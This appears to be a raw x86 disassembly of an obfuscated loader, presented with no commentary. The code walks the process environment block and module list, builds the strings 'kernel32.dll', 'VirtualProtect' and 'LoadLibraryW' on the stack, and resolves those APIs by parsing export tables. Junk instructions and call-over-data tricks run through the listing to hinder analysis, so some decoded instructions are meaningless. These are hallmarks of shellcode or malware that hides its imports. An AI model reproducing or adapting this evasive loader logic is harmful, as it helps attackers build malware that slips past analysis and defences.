mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x487fd3
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x487dbb
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x487fc7
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x487e2b
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x487edd
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x487edd
push edi
add edi, 0x17362
or edi, 0x100d5
call 0x487e74
add byte [ebp + 0x46], cl
xor al, 0x44
inc edi
inc ebp
cmp byte [ebx], dh
xor al, byte [ebx + 0x575f04c4]
push esi
add esp, 4
add edi, 0xa04f
jmp 0x487e89
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x487ecf
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x487ed6
jmp 0x487e1c
jmp 0x487edd
push esi
push edi
add esp, 4
or esi, 0x1156e
add esi, 0x754d
or esi, 0x8935
or esi, 0x8f96
pop esi
push edx
xor edx, 0x4fe3
add edx, 0x8be5
or edx, 0x12a99
pop edx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x487f3c
mov dword [ebp - 0xc40], 0
jmp 0x487fab
push ecx
jmp 0x487f44
xor ecx, 0x169d5
call 0x487f5a
add byte [edx], dh
xor al, 0x41
dec ebp
inc esp
dec esi
inc edx
inc esp
cmp eax, 0x4c4834d
pop ecx
push ecx
add ecx, 0x99a8
pop ecx
push ebx
add ebx, 0x3ddc
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x487fa1
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x487fab
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x487fc2
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x487fd3
jmp 0x487dac
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ecx
push edi
add esp, 4
or ecx, 0x2e37
xor ecx, 0x5c53
or ecx, 0x6e90
pop ecx
push edi
xor edi, 0x9e1c
and edi, 0x12bfd
add edi, 0x584
or edi, 0xcd1e
pop edi
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ecx
push esi
add esp, 4
sub ecx, 0x156a0
call 0x488039
add byte [ebx + 0x50], al
dec esi
xor edi, dword [0x8335423a]
les eax, [ecx + eax*4]
rol dword [edx], 0xe6
add byte [eax], al
call 0x48804e
add byte [edx + 0x3d], al
inc ebx
dec edx
inc esp
dec ecx
add esp, 4
pop ecx
cmp dword [ebp - 0x3cc], 0
je 0x488064
cmp dword [ebp - 0xa5c], 0
jne 0x4880aa
push ecx
push esi
add esp, 4
and ecx, 0x17a26
jmp 0x488074
pop ecx
push esi
push esi
add esp, 4
jmp 0x488083
pop esi
push edi
push edx
add esp, 4
add edi, 0x10803
and edi, 0xb89b
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push esi
push esi
add esp, 4
xor esi, 0x7771
pop esi
push ecx
push ebx
add esp, 4
add ecx, 0x5903
or ecx, 0xdaa7
xor ecx, 0x8e1a
pop ecx
push eax
or eax, 0x4db1
sub eax, 0x1652a
pop eax
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
jmp 0x488119
sub esi, 0xe2ad
call 0x48812b
add byte [eax + 0x38], cl
inc eax
inc esi
dec ebp
dec esp
add esp, 4
or esi, 0x9d2f
pop esi
push ecx
xor ecx, 0x12d39
sub ecx, 0x17a7c
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edx
call 0x4881b9
add byte [edx], dh
dec edx
cmp esi, dword [edi]
inc eax
cmp byte [ebx + 0x565a04c4], al
and esi, 0x659
pop esi
push edi
call 0x4881d4
add byte [eax + 0x4a], cl
xor eax, dword [edi + 0x3e]
push eax
cmp dword ss:[ebx - 0x307efb3c], eax
mov dl, 0x3e
add byte [eax], al
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
call 0x488216
add byte [ebx + 0x32], al
aas
dec edx
aas
xor al, 0x3a
aas
dec edx
cmp al, 0x83
les eax, [ecx + eax*4]
imul dword [0x5f00002f]
push eax
push eax
add esp, 4
call 0x488233
add byte [edi + edi], bh
inc edx
xor eax, 0x4f4a4e4e
add esp, 4
pop eax
cmp dword [ebp - 0x150c], 0
jne 0x48824f
mov dword [ebp - 0x2a8], 0
jmp 0x4884f6
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
add ecx, 0x183dc
pop ecx
push edi
push esi
add esp, 4
xor edi, 0x13ce8
pop edi
push ecx
push eax
add esp, 4
or ecx, 0x1b49
and ecx, 0x7303
and ecx, 0x114ac
and ecx, 0x1505d
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x4882ab
mov dword [ebp - 0x2a8], 0
jmp 0x4884f6
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ebx
and ebx, 0x4ab
pop ebx
push ecx
push edi
add esp, 4
jmp 0x4882cd
add ecx, 0x161fb
pop ecx
push ecx
push edi
add esp, 4
or ecx, 0x470f
jmp 0x4882e8
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
push edx
add esp, 4
xor esi, 0x137a8
sub esi, 0xb094
pop esi
push esi
sub esi, 0x11eeb
pop esi
push ecx
push eax
add esp, 4
or ecx, 0x14fd9
xor ecx, 0x173f
add ecx, 0x15627
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
call 0x4883a9
add byte [ebx + edi], bh
inc ecx
cmp al, 0x35
add esp, 4
call 0x4883bc
add byte [eax + 0x3c], dl
xor al, 0x48
inc eax
xor eax, 0x834f3542
les eax, [ebx + ebp*8]
push es
dec ecx
inc ebp
dec esi
xor dh, byte [ebx + eax*2]
and esi, 0x13aa9
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4883eb
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x488445
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x488313
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x488313
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x48842f
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x488439
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x48848e
push esi
push edx
add esp, 4
or esi, 0x58e
xor esi, 0x4389
pop esi
push edx
and edx, 0x12165
pop edx
push ecx
push eax
add esp, 4
or ecx, 0xa160
xor ecx, 0xf5ab
add ecx, 0xdfc0
pop ecx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x4884f6
push ebx
and ebx, 0x17889
and ebx, 0x11d67
xor ebx, 0x7ebd
pop ebx
push edx
push edx
add esp, 4
or edx, 0x3d5d
and edx, 0x71c7
sub edx, 0x85f
xor edx, 0x17e87
pop edx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x4884ec
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4882b7
mov dword [ebp - 0x2a8], 0
push esi
push ecx
add esp, 4
add esi, 0x18f4
xor esi, 0x1050f
jmp 0x48850e
pop esi
push eax
xor eax, 0x75d7
xor eax, 0xa04b
jmp 0x488521
sub eax, 0x215c
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x488e2d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push esi
call 0x4885de
add byte [esi], bh
inc edx
xor eax, 0x34374c46
aaa
aaa
add esp, 4
and esi, 0x10d93
pop esi
push eax
push ecx
add esp, 4
add eax, 0x39d5
and eax, 0xf2e9
or eax, 0xf518
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
sub esi, 0xf641
and esi, 0x7a5c
sub esi, 0x5226
call 0x4886a5
add byte [esi + 0x44], al
dec ebx
inc ecx
cmp al, 0x34
inc ecx
dec edi
cmp eax, dword [ebx + 0x515e04c4]
push edi
add esp, 4
add ecx, 0x15856
pop ecx
cmp dword [ebp - 0x1518], 0
jne 0x4886cd
mov dword [ebp - 0x710], 0
jmp 0x488974
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
call 0x4886ee
add byte [edx], bh
dec eax
dec edi
inc edx
xor eax, 0x8339404a
les eax, [esi + ebx*2]
push eax
or eax, 0x10634
add eax, 0x37b4
pop eax
push edi
push edx
add esp, 4
jmp 0x48870a
or edi, 0x15506
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x488729
mov dword [ebp - 0x710], 0
jmp 0x488974
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ebx
push edi
add esp, 4
add ebx, 0x130c2
pop ebx
push ebx
xor ebx, 0x2958
or ebx, 0x12090
xor ebx, 0xee11
call 0x488763
add byte [esi + ecx*2 + 0x43], cl
inc ebp
inc eax
xor eax, 0x4c4833e
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ebx
push edi
add esp, 4
or ebx, 0x17c1c
or ebx, 0x1017a
sub ebx, 0xd78e
sub ebx, 0x17c68
pop ebx
push ebx
and ebx, 0xa6d5
add ebx, 0x17ba9
or ebx, 0xe3ae
pop ebx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push eax
push edx
add esp, 4
jmp 0x488826
add eax, 0x6f23
pop eax
push ebx
push edi
add esp, 4
and ebx, 0xd4f7
add ebx, 0x2cad
jmp 0x488845
add ebx, 0x9d1a
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x488869
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4888c3
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x488791
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x488791
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4888ad
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4888b7
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x48890c
push edi
push edi
add esp, 4
xor edi, 0x15f79
call 0x4888e7
add byte [0x403f334c], bh
dec edi
cmp byte [ebx], dh
dec eax
aaa
add esp, 4
call 0x4888fa
add byte [ebx + 0x3d], cl
dec esi
dec eax
inc ebx
dec ecx
inc esp
dec edx
dec ebp
add esp, 4
pop edi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x488974
push ecx
push eax
add esp, 4
jmp 0x488919
pop ecx
push esi
xor esi, 0x23aa
add esi, 0x11261
sub esi, 0x12f90
pop esi
push esi
jmp 0x488937
add esi, 0xf65a
pop esi
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x48896a
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x488735
mov dword [ebp - 0x710], 0
push ebx
push edx
add esp, 4
xor ebx, 0x15ebc
jmp 0x488985
and ebx, 0x56eb
add ebx, 0x173bf
pop ebx
push edx
xor edx, 0x152f5
xor edx, 0x10671
or edx, 0xb67f
pop edx
cmp dword [ebp - 0x710], 0
jne 0x4889f0
push esi
and esi, 0x18dc
and esi, 0x15a73
pop esi
push edi
add edi, 0xde2c
or edi, 0x1325b
call 0x4889d7
add byte [ecx + 0x4d], al
inc ebx
cmp dword [edi + 0x3b], ecx
inc ebx
add esp, 4
add edi, 0x161e0
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x489518
push ebx
push esi
add esp, 4
or ebx, 0x147fc
or ebx, 0x59ca
xor ebx, 0x53f7
call 0x488a13
add byte [ebx + eax*2 + 0x4f], al
cmp bh, byte [esi]
dec ebx
add esp, 4
pop ebx
push ecx
jmp 0x488a21
pop ecx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x488a61
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x488d52
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x488a89
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x488d52
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x488abb
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x488d52
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x488ae0
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x488d52
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x488b3a
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x488d46
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x488baa
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x488c5c
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x488c5c
push eax
or eax, 0x6f8e
xor eax, 0x48ac
pop eax
push edx
push edi
add esp, 4
call 0x488bf7
add byte [eax + eax*2 + 0x3f], al
xor edi, dword [edi + eax*2]
inc ebp
add esp, 4
or edx, 0x2d6a
jmp 0x488c08
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x488c4e
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x488c55
jmp 0x488b9b
jmp 0x488c5c
push eax
push edx
add esp, 4
xor eax, 0x12a6b
call 0x488c76
add byte [esi], bh
cmp al, 0x3c
dec edx
aas
inc ebp
aaa
cmp al, 0x35
add esp, 4
pop eax
push edx
and edx, 0x1580b
or edx, 0x4a16
add edx, 0xcb5
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x488cbb
mov dword [ebp - 0xc5c], 0
jmp 0x488d2a
push ebx
push esi
add esp, 4
call 0x488ccf
add byte [ecx], bh
dec edx
dec esp
dec ebx
inc ebp
cmp dword [esi + edi], esi
add esp, 4
sub ebx, 0x425c
pop ebx
push esi
xor esi, 0x68f3
or esi, 0xbfdf
sub esi, 0x821
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x488d20
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x488d2a
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x488d41
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x488d52
jmp 0x488b2b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x488e2d
push edx
call 0x488d6f
add byte [ebx + 0x43], cl
inc eax
dec eax
cmp eax, 0x4b50454b
add esp, 4
or edx, 0x66a8
pop edx
push eax
push ecx
add esp, 4
xor eax, 0xe50c
jmp 0x488d8a
xor eax, 0x138eb
pop eax
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
add edx, 0xcc50
sub edx, 0x16746
sub edx, 0x8ff1
add edx, 0x11353
pop edx
push esi
push eax
add esp, 4
add esi, 0x17f85
add esi, 0x7905
add esi, 0xffe4
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x488e2d
push edi
push esi
add esp, 4
xor edi, 0xa0d8
or edi, 0x15c20
pop edi
push eax
push edi
add esp, 4
or eax, 0x959
and eax, 0x44ca
and eax, 0x4ce3
pop eax
push edi
add edi, 0xad31
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x489518
push esi
push edx
add esp, 4
call 0x488e42
add byte [0x46444036], dh
dec ebp
cmp ecx, dword [edx + 0x4a]
add esp, 4
jmp 0x488e4b
or esi, 0x274d
xor esi, 0x1607b
pop esi
push esi
jmp 0x488e5e
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
push esi
add esp, 4
or edx, 0x3538
pop edx
push ecx
and ecx, 0x84db
pop ecx
push edx
push edi
add esp, 4
add edx, 0x5a1a
sub edx, 0x386f
sub edx, 0x7c43
sub edx, 0x5c45
pop edx
cmp dword [ebp - 0x1574], 0
jne 0x488ed1
mov dword [ebp - 0x2a8], 0
jmp 0x489178
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push esi
add esp, 4
sub ecx, 0x18627
sub ecx, 0x158f7
and ecx, 0xd6df
pop ecx
push ecx
or ecx, 0x13e36
or ecx, 0x13abd
and ecx, 0x12024
sub ecx, 0x15dff
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x488f2d
mov dword [ebp - 0x2a8], 0
jmp 0x489178
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edi
push ecx
add esp, 4
xor edi, 0x1824a
jmp 0x488f4a
sub edi, 0x1ae8
pop edi
push esi
jmp 0x488f57
jmp 0x488f5c
pop esi
push ebx
and ebx, 0x4117
sub ebx, 0x436a
pop ebx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ecx
sub ecx, 0x17368
add ecx, 0x15c8e
xor ecx, 0x274b
pop ecx
push ecx
push edx
add esp, 4
add ecx, 0x4747
and ecx, 0x12d61
xor ecx, 0x8302
and ecx, 0x6da2
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edi
push eax
add esp, 4
sub edi, 0x40fa
jmp 0x48902e
add edi, 0x6186
pop edi
push ecx
and ecx, 0x159e7
or ecx, 0x128e9
jmp 0x489047
pop ecx
push ecx
add ecx, 0xc5a0
pop ecx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x48906d
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x4890c7
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x488f95
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x488f95
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x4890b1
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x4890bb
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x489110
push esi
push edi
add esp, 4
xor esi, 0x49d3
pop esi
push eax
or eax, 0x30fc
add eax, 0x8086
pop eax
push eax
push esi
add esp, 4
or eax, 0x72c8
pop eax
push esi
push ecx
add esp, 4
add esi, 0xa269
pop esi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x489178
push edi
xor edi, 0x1136f
call 0x489127
add byte [eax + 0x3d], cl
inc esp
dec eax
xor eax, 0x38384932
inc edi
add esp, 4
call 0x489138
add byte [esi], bh
inc esp
xor al, 0x40
cmp al, 0x34
xor cl, byte [eax - 0x7d]
les eax, [ecx + eax*4]
out 0x20, eax
inc eax
add dword [eax], eax
pop edi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x48916e
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x488f39
mov dword [ebp - 0x2a8], 0
push edx
push ebx
add esp, 4
add edx, 0xf9f1
pop edx
push ecx
push esi
add esp, 4
sub ecx, 0xe61
and ecx, 0x5e98
pop ecx
push esi
push edi
add esp, 4
jmp 0x4891a4
jmp 0x4891a9
pop esi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edx
push ebx
add esp, 4
call 0x4891cb
add byte [edx + 0x47], cl
xor al, 0x46
inc edx
inc ebx
inc ebp
add esp, 4
add edx, 0x22b2
add edx, 0x7258
